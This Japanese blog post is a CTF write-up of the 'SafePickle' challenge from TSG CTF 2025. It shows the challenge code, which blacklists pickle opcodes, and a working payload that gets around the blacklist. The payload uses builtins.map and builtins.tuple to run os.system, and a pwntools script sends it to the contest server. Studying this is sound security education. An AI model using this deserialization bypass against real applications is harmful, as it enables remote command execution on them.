0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[misc] SafePickle (TSG CTF 2025) writeup

0
Last updated at Posted at 2025-12-23

  • Source: TSG CTF 2025
  • Author: dai

※ この記事はTSG CTF 2025終了後に執筆・公開しています。

任意のpickleをデシリアライズできるが、一部のopecodeがブラックリストに設定されている。

import pickle, pickletools

BANNED_OPS = [
    "EXT1",
    "EXT2",
    "EXT4",
    "REDUCE",
    "INST",
    "OBJ",
    "PERSID",
    "BINPERSID",
]

data = bytes.fromhex(input("input pickle (hex)> "))
try:
    for opcode, arg, pos in pickletools.genops(data):
        if opcode.name in BANNED_OPS:
            print(f"Banned opcode used: {opcode.name}")
            exit(0)
except Exception as e:
    print("Error :(")
    exit(0)

print(pickle.loads(data))

一般的に関数呼び出しで使われるREDUCEが封じられているため、それ以外の手法でos.system()やそれに類するプログラムを実行する手法を探す必要がある。
大会中はそんなのいくらでもあるだろ!のノリでLLMにぶん投げて解いてしまったので(しかもFirst Blood、すみません……)、改めて理解しながらwriteupを書いていく。

まずは記憶の中にあったこの記事を見たが、直接使えそうなテクニックは見つからず。

そこで関数の呼び出しではないが関数の呼び出しと同じことができるものを探すと、map(func, iterable)func(iterable)と同じことができるらしい。このmapは関数ではなくクラスなので、NEWOBJによってデシリアライズされる。これはブラックリストに含まれていないので使えそうだ。
しかしmapオブジェクトは遅延評価されるため、デシリアライズで作成しただけでは内部のos.system()は実行されない。そこで、tupleに渡して読み込ませることで強制的に実行させる。

ここまでで、以下のようなコードを組み上げることができる。

import pickle
import os

class map:
    def __getnewargs__(self):
        # map(os.system, ("cat flag.txt",)) と同じ引数を指定
        return (os.system, ("cat flag.txt",))

class tuple:
    def __getnewargs__(self):
        # tuple(map_instance) となるように指定
        return (map(),)

if __name__ == "__main__":
    payload = pickle.dumps(tuple(), protocol=4)
    print(f"Payload (Hex): {payload.hex()}")

しかしこのpayloadではまだ動作しない。なぜならここで宣言しているmapやtupleはあくまでプログラマによって宣言された__main__.mapであり、関数実行に利用できるビルトインのbuiltins.mapとは別物になるためだ。

そこで、payloadの__main__builtinsに置き換えてやる。幸い__main__builtinsも8文字なので、ただ文字列置換するだけでpickleの構造を壊さずに修正することができる。(これすごい)

最終的なpayloadはこうなる。

import pickle
import os

class map:
    def __getnewargs__(self):
        # map(os.system, ("cat flag.txt",)) と同じ引数を指定
        return (os.system, ("cat flag.txt",))

class tuple:
    def __getnewargs__(self):
        # tuple(map_instance) となるように指定
        return (map(),)

def generate_payload():
    # データ内には c__main__\ntuple ... と記録される
    pickled_data = pickle.dumps(tuple(), protocol=4)

    # モジュール名を書き換え
    # __main__.tuple -> builtins.tuple
    # __main__.map   -> builtins.map
    payload = pickled_data.replace(b'__main__', b'builtins')
    
    return payload

if __name__ == "__main__":
    payload = generate_payload()
    print(f"Payload (Hex): {payload.hex()}")


from pwn import *

io = remote("35.194.98.181", 53117)
io.sendlineafter(b"input pickle (hex)> ", str(payload.hex()))
log.success(io.recvline(timeout=1).decode())

flagが得られた。中学の家庭科か社会以来にこの文字列を見た気がする。
TSGCTF{Reduce();Reuse();Recycle()}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?